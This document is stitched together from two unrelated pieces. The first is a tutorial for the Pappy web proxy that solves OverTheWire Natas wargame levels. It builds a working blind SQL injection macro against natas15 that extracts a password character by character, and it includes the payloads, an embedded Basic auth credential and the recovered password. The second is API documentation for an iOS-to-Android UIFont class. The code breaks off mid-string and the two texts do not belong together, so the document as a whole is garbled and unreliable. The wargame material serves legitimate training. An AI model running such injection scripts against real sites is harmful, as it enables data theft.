rp <reqid>
Open the vim repeater with the given request<leader>f
(In the repeater) forward the request
Note
Use :wq!
to quit the repeater without having to save buffers
Note
You must know the basics of how to use vim for the repeater and have a key bound to the leader. You can find more information on the leader key here. By default <leader> is bound to \
.
Submit a request then open that request in the repeater:
pappy> ls
196 GET natas9.natas.labs.overthewire.org /index.php?needle=ball&submit=Search 200 OK 0 1686 0.27 --
195 GET natas9.natas.labs.overthewire.org /index-source.html 200 OK 0 1952 0.27 --
... snip ...
pappy> rp 196
Vim will open up in a vertical split with the request on the left and the response on the right.
In the repeater, you edit the response on the left, then press the <leader>
key then f
to submit the modified request (note that your cursor must be in the left window). The response will then be put in the right window. This makes it easy to quickly make requests which are all slight variations of each other.
In this case, we’ll be editing the needle
get parameter. Try changing “ball” to “bill” and submitting it. You’ll notice that the output in the right window changes to contain words that have the word “bill” in them. The repeater will make it easy to make tweaks to your payload and get quick feedback without having to use the browser.
Use the repeater to solve this challenge (you may need to url encode some characters by hand, unfortunately).
Skip a few... Natas 15¶
All the challenges up to this point should be doable with the repeater/interceptor. Natas15 is where things get hairy though. This is a blind SQL injection, and you’ll have to write a script to do it. Luckily for us, writing scripts using Pappy is easy. If you’re lazy and don’t want to actually do the challenges, google the password for natas15 then come back.
Commands we’ll learn:
gma <name> <reqid(s)>
Generate a macro with objects pre-defined for the given requestslma
Load macrosrma <name> [args]
Run a macro, optionally with arguments
So the first thing we’ll do is submit a request to have a base request that we can modify. Submit a request with any username. You should get a response back saying the user doesn’t exist. Now we’ll generate a macro and use that request as a base for our script:
pappy> ls
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
224 POST natas15.natas.labs.overthewire.org /index.php 200 OK 14 937 0.27 --
223 POST natas15.natas.labs.overthewire.org /index.php 200 OK 12 937 0.27 --
222 GET natas15.natas.labs.overthewire.org /index-source.html 200 OK 0 3325 0.28 --
221 GET natas15.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 308 0.25 --
220 GET natas15.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 308 0.27 --
219 GET natas15.natas.labs.overthewire.org / 200 OK 0 1049 0.37 --
218 GET natas15.natas.labs.overthewire.org / 401 Unauthorized 0 480 0.27 --
... snip ...
pappy> gma brute 224
Wrote script to macro_brute.py
pappy>
Now open up macro_brute.py
in your favorite text editor. You should have a script that looks like this:
from pappyproxy.http import Request, get_request, post_request
from pappyproxy.context import set_tag
MACRO_NAME = 'Macro 41855887'
SHORT_NAME = ''
###########
## Requests
# It's suggested that you call .copy() on these and then edit attributes
# as needed to create modified requests
##
req1 = Request((
'POST /index.php HTTP/1.1\r\n'
'Host: natas15.natas.labs.overthewire.org\r\n'
'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n'
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
'Accept-Language: en-US,en;q=0.5\r\n'
'Accept-Encoding: gzip, deflate\r\n'
'Referer: http://natas15.natas.labs.overthewire.org/\r\n'
'Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664\r\n'
'Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n'
'Connection: keep-alive\r\n'
'Content-Type: application/x-www-form-urlencoded\r\n'
'Content-Length: 14\r\n'
'\r\n'
'username=admin'
))
def run_macro(args):
# Example:
# req = req0.copy() # Copy req0
# req.submit() # Submit the request to get a response
# print req.response.raw_headers # print the response headers
# req.save() # save the request to the data file
# or copy req0 into a loop and use string substitution to automate requests
pass
Pappy will generate a script and create a Request
object that you can use. Check out the real documentation to see everything you can do with a Request
object. For now you just need to know a few things about it:
submit()
Submit the request and store the response objectsave()
Save the request/response to the data filepost_params
ARepeatableDict
that represents the post parameters of the request. Can set/get prameters the same way as a dictionary.
It is suggested you go through the documentation to learn the rest of the attributes/functions.
To start out simple, we’ll write a macro that lets us check a username from the Pappy console. To define a function, you define the run_macro
function. The function is passed a list of arguments which represent the arguments entered. Here a run_macro
function that we can define that will check if a user exists:
def run_macro(args):
to_check = args[0] # get the username to check
r = req1.copy() # make a copy of the base request
r.post_params['username'] = to_check # set the username param of the request
r.submit() # submit the request
if "This user doesn't exist." in r.response.raw_data: # check if the username is valid
print "%s is not a user" % to_check
else:
print "%s is a user!" % to_check
Then to run it:
pappy> lma
Loaded "<Macro Macro 41855887 (brute)>"
pappy> rma brute admin
admin is not a user
pappy> rma brute fooooo
fooooo is not a user
pappy> rma brute natas16
natas16 is a user!
pappy>
Awesome! Notice how we didn’t have to deal with authentication either. This is because the authentication is handled by the Authorization
header which was included in the generated request.
Time to add the SQL injection part. If we look at the source, we see that this is the SQL query that checks the username:
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
So to escape it, we use a payload like:
username" OR 1=1; #
In this case, any username that ends in " OR 1=1; #
will be considered a valid username. Let’s try this out:
pappy> rma brute "foo\" OR 1=1;"
foo" OR 1=1; is a user!
pappy> rma brute "fooooooo\" OR 1=1;"
fooooooo" OR 1=1; is a user!
pappy>
Great! Now we can check any true/false condition we want. In this case, we want to check if a certain character is at a certain position in the password
column. We do this with the ASCII
and SUBSTRING
functions. So something like this will check if the first character is an A
.:
'natas16" AND ASCII(SUBSTRING(password, 0, 1)) = 41; #'
Alright, let’s update our macro to find the first character of the password.:
from pappyproxy.http import Request, get_request, post_request
from pappyproxy.context import set_tag
MACRO_NAME = 'Macro 41855887'
SHORT_NAME = ''
###########
## Requests
# It's suggested that you call .copy() on these and then edit attributes
# as needed to create modified requests
##
req1 = Request((
'POST /index.php HTTP/1.1\r\n'
'Host: natas15.natas.labs.overthewire.org\r\n'
'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n'
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
'Accept-Language: en-US,en;q=0.5\r\n'
'Accept-Encoding: gzip, deflate\r\n'
'Referer: http://natas15.natas.labs.overthewire.org/\r\n'
'Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664\r\n'
'Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n'
'Connection: keep-alive\r\n'
'Content-Type: application/x-www-form-urlencoded\r\n'
'Content-Length: 14\r\n'
'\r\n'
'username=admin'
))
def check_char(char, pos):
payload = 'natas16" AND ASCII(SUBSTRING(password, %d, 1)) = %d; #' % (pos, ord(char))
r = req1.copy()
r.post_params['username'] = payload
r.submit()
if "This user doesn't exist." in r.response.raw_data:
return False
else:
return True
def run_macro(args):
valid_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890"
for c in valid_chars:
print 'Trying %s...' % c
if check_char(c, 1):
print '%s is the first char!' % c
return
print "The script didn't work"
And when we run it...:
pappy> lma
Loaded "<Macro Macro 41855887 (brute)>"
pappy> rma brute
Trying a...
Trying b...
Trying c...
Trying d...
... snip ...
Trying U...
Trying V...
Trying W...
W is the first char!
pappy>
We find the first character! Woo! Next we just have to do this for each position. Even through we don’t know the length of the password, we will know that the password is over when none of the characters are valid. So let’s update our macro:
import sys
from pappyproxy.http import Request, get_request, post_request
from pappyproxy.context import set_tag
MACRO_NAME = 'Macro 41855887'
SHORT_NAME = ''
###########
## Requests
# It's suggested that you call .copy() on these and then edit attributes
# as needed to create modified requests
##
req1 = Request((
'POST /index.php HTTP/1.1\r\n'
'Host: natas15.natas.labs.overthewire.org\r\n'
'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n'
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
'Accept-Language: en-US,en;q=0.5\r\n'
'Accept-Encoding: gzip, deflate\r\n'
'Referer: http://natas15.natas.labs.overthewire.org/\r\n'
'Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664\r\n'
'Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n'
'Connection: keep-alive\r\n'
'Content-Type: application/x-www-form-urlencoded\r\n'
'Content-Length: 14\r\n'
'\r\n'
'username=admin'
))
def check_char(char, pos):
payload = 'natas16" AND ASCII(SUBSTRING(password, %d, 1)) = %d; #' % (pos, ord(char))
r = req1.copy()
r.post_params['username'] = payload
r.submit()
if "This user doesn't exist." in r.response.raw_data:
return False
else:
return True
def run_macro(args):
valid_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890"
password = ''
done = False
while True:
done = True
for c in valid_chars:
# Print the current char to the current line
print c,
sys.stdout.flush()
# Check the current char
if check_char(c, len(password)+1):
# We got the correct char!
password += c
# Print it to the screen
print ''
print '%s is char %d!' % (c, len(password)+1)
print 'The password so far is %s' % password
# We have to do another round
done = False
break
if done:
# We got through the entire alphabet
print ''
print 'Done!
The password so far is W
a
a is char 2!

The password so far is WaIH
a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E
... snip ...
The password so far is WaIHEacj63wnNIBROHeqi3p9t0m5nh
a b c d e f g h i j k l m
m is char 31!
The password so far is WaIHEacj63wnNIBROHeqi3p9t0m5nhm
a b c d e f g h
h is char 32!
 The password is "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"
pappy>
Boom! There it is!
Conclusion¶
That’s pretty much all you need to get started with Pappy. Make sure to go through the documentation to learn about all the other features that weren’t covered in this tutorial. Hopefully you didn’t find Pappy too hard to use and you’ll consider it for your next engagement.


Simulates a iOS UIFont
to ease the porting of UI code from iOS to Android. A UIFont
holds information about the font selected for an upcoming draw operation and contains a Paint
object that will be used in the drawing process. NOTE: Only a small percentage of UIFont
has been ported to support the Action Components.
More...
|
| | UIFont () |
| | Initializes a new instance of the T:UIKit.UIFont class. More...
|
| |
Simulates a iOS UIFont
to ease the porting of UI code from iOS to Android. A UIFont
holds information about the font selected for an upcoming draw operation and contains a Paint
object that will be used in the drawing process. NOTE: Only a small percentage of UIFont
has been ported to support the Action Components.
Initializes a new instance of the T:UIKit.UIFont class.
| static UIFont UIKit.UIFont.BoldSystemFontOfSize |
( |
nfloat |
size | ) |
|
|
static |
Returns a bold system font of the given size.
- Returns
- The system font of size.
- Parameters
-
Measures the size of the current string for the given font, available size and line break mode.
- Returns
- The size.
- Parameters
-
| text | Text. |
| font | Font. |
| size | Size. |
| mode | Mode. |
| static UIFont UIKit.UIFont.SystemFontOfSize |
( |
nfloat |
size | ) |
|
|
static |
Returns a system font of the given size.
- Returns
- The font of size.
- Parameters
-
| Paint UIKit.UIFont.FontPaint |
|
getset |
Gets or sets the font paint.
The font paint.
| bool UIKit.UIFont.TextBold |
|
getset |
Gets or sets a value indicating whether this T:UIKit.UIFont text is bold.
true
if text bold; otherwise, false
.
Gets or sets the color of the text.
The color of the text.
| nfloat UIKit.UIFont.TextSize = new Paint() |
|
getset |
Gets or sets the size of the text.
The size of the text.